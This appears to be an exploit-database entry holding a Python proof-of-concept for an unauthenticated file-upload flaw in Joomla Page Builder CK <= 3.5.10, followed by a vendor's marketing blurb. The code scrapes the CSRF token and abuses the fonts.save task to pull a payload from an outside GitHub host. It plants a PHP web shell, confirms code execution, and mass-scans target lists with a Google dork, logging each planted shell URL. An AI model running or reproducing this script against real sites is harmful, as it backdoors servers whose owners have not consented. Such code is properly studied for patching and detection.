# Exploit Title: Joomla Page Builder CK 3.5.10 - Arbitrary File Upload
# Google Dork: inurl:com_pagebuilderck OR "/components/com_pagebuilderck/assets/pagebuilderck.js"
# Date: 2026-07-04
# Exploit Author: M@rAz Ali
# Credits: Peyman Siyahi, MR.PERSIA
# Vendor Homepage: https://www.joomlack.fr/
# Software Link: https://www.joomlack.fr/en/joomla-extensions/page-builder-ck
# Version: <= 3.5.10 (patched in 3.6.0)
# Tested on: Joomla 4.x / 5.x on Linux (Apache + PHP 8.x)
# CVE: CVE-2026-56290
#
# Description:
# Page Builder CK (com_pagebuilderck) exposes an unauthenticated fonts.save task that
# fetches remote assets and writes attacker-controlled PHP into the webroot under:
# media/com_pagebuilderck/gfonts/
# The only gate is a Joomla CSRF token, which is publicly readable on the homepage.
#
# This PoC triggers fonts.save with a remote callback, then verifies remote code
# execution by checking the uploaded shell response.
#
# Disclaimer:
# For authorized security testing and education only. Do not use against systems
# you do not own or lack explicit written permission to assess.
from __future__ import annotations
import argparse
import os
import re
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
import requests
import urllib3
# Remote callback that serves font.css + payload chain (must host your own for testing).
CALLBACK = "https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main"
SHELL_PATH = "media/com_pagebuilderck/gfonts/fbi.php"
EXPECTED_TITLE = "Fbi Shell"
DEFAULT_THREADS = 20
DEFAULT_TIMEOUT = 12
HITS_FILE = Path(__file__).resolve().parent / "hits.txt"
TOKEN_PATTERNS = (
r'"csrf\.token"\s*:\s*"([A-Za-z0-9_-]+)"',
r"'csrf\.token'\s*:\s*'([A-Za-z0-9_-]+)'",
r'name="([a-f0-9]{32})"\s+value="1"',
r'value="1"\s+name="([a-f0-9]{32})"',
)
_PRINT_LOCK = threading.Lock()
_HITS_LOCK = threading.Lock()
_SAVED_HITS: set[str] = set()
def log(msg: str) -> None:
with _PRINT_LOCK:
print(msg, flush=True)
def normalize_url(url: str) -> str:
url = url.strip()
if not url.startswith(("http://", "https://")):
url = "https://" + url
return url.rstrip("/")
def extract_token(html: str) -> str | None:
for pattern in TOKEN_PATTERNS:
match = re.search(pattern, html, re.I)
if match:
return match.group(1)
return None
def extract_title(html: str) -> str | None:
match = re.search(r"<title[^>]*>([^<]+)</title>", html, re.I | re.S)
if match:
return match.group(1).strip()
return None
def rce_confirmed(html: str) -> bool:
title = extract_title(html)
if title and EXPECTED_TITLE.lower() in title.lower():
return True
return EXPECTED_TITLE.lower() in html.lower()
def resolve_index_url(base: str, landing_url: str) -> str:
path = requests.utils.urlparse(landing_url).path or "/"
lang = re.match(r"^/index\.php/([a-z]{2}(?:-[a-z]{2})?)(?:/|$)", path, re.I)
if lang:
return f"{base}/index.php/{lang.group(1)}"
lang = re.match(r"^/([a-z]{2}(?:-[a-z]{2})?)(?:/|$)", path, re.I)
if lang and path.count("/") <= 2:
return f"{base}/index.php/{lang.group(1)}"
return f"{base}/index.php"
def save_hit(shell_url: str, *, output: Path) -> None:
with _HITS_LOCK:
if shell_url in _SAVED_HITS:
return
_SAVED_HITS.add(shell_url)
with output.open("a", encoding="utf-8") as fh:
fh.write(shell_url + "\n")
fh.flush()
os.fsync(fh.fileno())
log(f"[+] SHELL URL SAVED -> {shell_url}")
def make_session(*, insecure: bool, timeout: float) -> requests.Session:
session = requests.Session()
session.verify = not insecure
session.headers.update(
{
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0.0.0 Safari/537.36"
),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
)
session.request = _wrap_timeout(session.request, timeout) # type: ignore[method-assign]
return session
def _wrap_timeout(request_method, timeout: float):
def wrapped(method, url, **kwargs):
kwargs.setdefault("timeout", timeout)
return request_method(method, url, **kwargs)
return wrapped
def exploit(
target: str,
*,
insecure: bool,
timeout: float,
verbose: bool,
) -> tuple[int, str, str | None]:
"""
Returns (status, note, shell_url)
0 = RCE confirmed
2 = file written, PHP not executed
1 = failed / not vulnerable
"""
session = make_session(insecure=insecure, timeout=timeout)
shell_url = f"{target}/{SHELL_PATH}"
try:
home = session.get(f"{target}/", allow_redirects=True)
except requests.RequestException as exc:
return 1, f"homepage failed: {exc}", None
token = extract_token(home.text)
if not token:
return 1, "no CSRF token on homepage", None
index_url = resolve_index_url(target, home.url)
params = {"option": "com_pagebuilderck", "task": "fonts.save", token: "1"}
data = {
"local": "1",
"fontvars": "regular",
"fontname": "bb",
"url": f"{CALLBACK}/font.css",
token: "1",
}
try:
save = session.post(
index_url,
params=params,
data=data,
headers={
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "application/json,text/plain,*/*",
"Origin": target,
"Referer": home.url,
},
)
except requests.RequestException as exc:
return 1, f"fonts.save request failed: {exc}", shell_url
if "ERROR_INVALID_CONTROLLER" in save.text:
return 1, "component/controller not present", shell_url
try:
check = session.get(shell_url)
except requests.RequestException as exc:
return 1, f"shell verification failed: {exc}", shell_url
body = check.text
title = extract_title(body)
if verbose:
log(f"[*] Target : {target}")
log(f"[+] CSRF token : {token}")
log(f"[+] Index URL : {index_url}")
log(f"[+] fonts.save : HTTP {save.status_code}")
preview = save.text.strip().replace("\n", " ")[:200]
if preview:
log(f"[+] Response : {preview!r}")
log(f"[+] Shell path : {shell_url} (HTTP {check.status_code})")
if title:
log(f"[+] Shell title: {title!r}")
if check.status_code == 200 and rce_confirmed(body):
return 0, f"RCE confirmed (title: {title or EXPECTED_TITLE})", shell_url
if check.status_code == 200 and "<?php" in body:
return 2, "file written but PHP not executed", shell_url
if check.status_code == 200 and title:
return 1, f"not confirmed (title: {title!r})", shell_url
return 1, f"not confirmed (HTTP {check.status_code})", shell_url
def run_single(target: str, *, insecure: bool, timeout: float) -> int:
log(f"[*] Callback URL : {CALLBACK}")
log(f"[*] Shell path : {SHELL_PATH}")
log(f"[*] RCE marker : <title> contains {EXPECTED_TITLE!r}")
code, note, shell_url = exploit(target, insecure=insecure, timeout=timeout, verbose=True)
if code == 0 and shell_url:
log(f"[+] EXPLOIT SUCCESS -> {shell_url}")
return 0
if code == 2:
log(f"[!] PARTIAL: {note}")
return 2
log(f"[-] FAILED: {note}")
return 1
def parse_target_line(line: str) -> str | None:
line = line.split("#", 1)[0].strip()
if not line:
return None
return normalize_url(line.split("|", 1)[0].split(",", 1)[0].strip())
def load_targets(path: Path) -> list[str]:
if not path.is_file():
raise FileNotFoundError(f"targets file not found: {path}")
targets: list[str] = []
seen: set[str] = set()
for raw in path.read_text(encoding="utf-8").splitlines():
url = parse_target_line(raw)
if not url or url in seen:
continue
seen.add(url)
targets.append(url)
if not targets:
raise ValueError(f"no targets in {path}")
return targets
def run_mass(
targets_path: Path,
*,
insecure: bool,
timeout: float,
threads: int,
output: Path,
) -> int:
targets = load_targets(targets_path)
workers = max(1, min(threads, len(targets)))
log(f"[*] Loaded {len(targets)} target(s) from {targets_path.name}")
log(f"[*] Callback URL : {CALLBACK}")
log(f"[*] Shell path : {SHELL_PATH}")
log(f"[*] Output file : {output.name}")
log(f"[*] Threads : {workers} | Timeout: {timeout:g}s")
print()
confirmed = partial = failed = 0
def work(index: int, target: str) -> tuple[str, int, str, str | None]:
code, note, shell_url = exploit(target, insecure=insecure, timeout=timeout, verbose=False)
if code == 0 and shell_url:
save_hit(shell_url, output=output)
log(f"[{index}/{len(targets)}] HIT {target} -> {shell_url}")
return target, code, note, shell_url
if code == 2:
log(f"[{index}/{len(targets)}] PART {target} -> {note}")
return target, code, note, shell_url
return target, code, note, shell_url
with ThreadPoolExecutor(max_workers=workers) as pool:
futures = {
pool.submit(work, i, target): target
for i, target in enumerate(targets, start=1)
}
for future in as_completed(futures):
_target, code, _note, _shell = future.result()
if code == 0:
confirmed += 1
elif code == 2:
partial += 1
else:
failed += 1
print()
log(f"[*] Done | Hit: {confirmed} | Partial: {partial} | Miss: {failed}")
if confirmed:
log(f"[+] {confirmed} shell URL(s) saved to {output.name}")
return 0 if confirmed else 1
def main() -> int:
parser = argparse.ArgumentParser(
description="Joomla Page Builder CK <= 3.5.10 fonts.save unauthenticated RCE PoC"
)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-u", "--url", help="Single target, e.g. https://lab.joomla.local")
group.add_argument("-f", "--file", metavar="FILE", help="Target list (one URL per line)")
parser.add_argument("--insecure", action="store_true", help="Skip TLS certificate verification")
parser.add_argument(
"--threads",
type=int,
default=DEFAULT_THREADS,
help=f"Parallel workers for --file mode (default: {DEFAULT_THREADS})",
)
parser.add_argument(
"--timeout",
type=float,
default=DEFAULT_TIMEOUT,
help=f"HTTP timeout in seconds (default: {DEFAULT_TIMEOUT})",
)
parser.add_argument(
"--output",
metavar="FILE",
default=str(HITS_FILE),
help=f"Save confirmed shell URLs (default: {HITS_FILE.name})",
)
args = parser.parse_args()
if args.insecure:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if args.file:
path = Path(args.file)
if not path.is_absolute():
path = (Path.cwd() / path).resolve()
output = Path(args.output)
if not output.is_absolute():
output = (Path.cwd() / output).resolve()
return run_mass(
path,
insecure=args.insecure,
timeout=args.timeout,
threads=args.threads,
output=output,
)
return run_single(
normalize_url(args.url),
insecure=args.insecure,
timeout=args.timeout,
)
if __name__ == "__main__":
raise SystemExit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation